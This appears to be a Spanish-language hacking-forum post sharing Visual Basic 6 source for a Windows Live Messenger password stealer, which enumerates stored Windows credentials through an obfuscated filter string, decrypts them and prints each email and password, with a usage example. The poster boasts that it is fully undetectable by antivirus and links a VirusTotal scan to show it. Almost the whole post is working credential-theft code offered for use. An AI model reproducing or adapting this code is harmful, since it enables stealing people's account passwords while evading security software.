[SRC][VB6] Windows Live Messenger - Recupera contraseña {FUUUUD!!!}

[Karcrack]

Código (vb) [Seleccionar] Expandir

Option Explicit

'KERNEL32
Private Declare Function GetProcessHeap Lib "KERNEL32" () As Long
'ADVAPI32
Private Declare Function CredEnumerateW Lib "ADVAPI32" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
'CRYPT32
Private Declare Function CryptUnprotectData Lib "CRYPT32" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As Long) As Long
'NTDLL
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal ProcessHandle As Long, ByVal BaseAddress As Long, ByVal pBuffer As Long, ByVal NumberOfBytesToWrite As Long, ByRef NumberOfBytesWritten As Long) As Long
Private Declare Function RtlFreeHeap Lib "NTDLL" (ByVal HeapHandle As Long, ByVal Flags As Long, ByVal MemoryPointer As Long) As Long

Private Type DATA_BLOB
   cbData                  As Long
   pbData                  As Long
End Type

Public Type ACCOUNT_INFO
   sMail                   As String
   sPassword               As String
End Type

Public Function sMSN() As ACCOUNT_INFO()
   Dim tTMP()      As ACCOUNT_INFO
   Dim i           As Long
   Dim x           As Long
   Dim lCount      As Long
   Dim lCred       As Long
   Dim lPtr        As Long
   Dim lUser       As Long
   Dim tBlobIn     As DATA_BLOB
   Dim bvGUID(4)   As Currency
   
   bvGUID(0) = 2814797012434.9527@
   bvGUID(1) = 2139259215904.7791@
   bvGUID(2) = 1632598244864.8297@
   bvGUID(3) = 2842944080556.8622@
   bvGUID(4) = 275.2573@
   'bvGUID = "WindowsLive:name=*"
   
   Call CredEnumerateW(VarPtr(bvGUID(0)), 0, lCount, lCred)

   For i = 0 To lCount - 1
       Call NtWriteVirtualMemory(-1, ByVal VarPtr(lPtr), ByVal lCred + (i * &H4), &H4, 0)
       Call NtWriteVirtualMemory(-1, ByVal VarPtr(lUser), ByVal (lPtr + &H30), &H4, 0)
       Call NtWriteVirtualMemory(-1, ByVal VarPtr(tBlobIn.cbData), ByVal (lPtr + &H18), &H8, 0)
       
       Call CryptUnprotectData(tBlobIn, 0&, 0&, 0&, 0&, 1&, 0&)
       
       If tBlobIn.cbData Then
           ReDim Preserve tTMP(x)
           With tTMP(x)
               .sPassword = Space$(tBlobIn.cbData \ 2)
               Call NtWriteVirtualMemory(-1, ByVal StrPtr(.sPassword), ByVal tBlobIn.pbData, tBlobIn.cbData, 0)
               If Len(.sPassword) > 0 Then
                   .sMail = uReadStr(lUser)
               End If
           End With
           x = x + 1
       End If
   Next i
   
   Call RtlFreeHeap(GetProcessHeap(), 0, lCred)
   
   sMSN = tTMP
End Function

Private Function uReadStr(ByVal lPtr As Long) As String
   Dim iChar       As Integer
   Dim i           As Long
   
   Do
       Call NtWriteVirtualMemory(-1, ByVal VarPtr(iChar), ByVal (lPtr + i * 2), 2, ByVal 0&)
       i = i + 1
       If iChar = 0 Then Exit Do
       uReadStr = uReadStr & ChrW$(iChar)
   Loop
End Function

Código [Seleccionar] Expandir

http://www.virustotal.com/es/analisis/2d7deb3a66001d026c2267bec22393727c97ee4ac70bb3995b10622518391189-1278876972
Ale, a ver cuanto dura FUD

Ejemplo de uso:

Código (vb) [Seleccionar] Expandir

    Dim i   As Long
    Dim x() As ACCOUNT_INFO
   
    x = sMSN
   
    For i = LBound(x) To UBound(x)
        Debug.Print x(i).sMail, x(i).sPassword
    Next i

A disfrutar!!!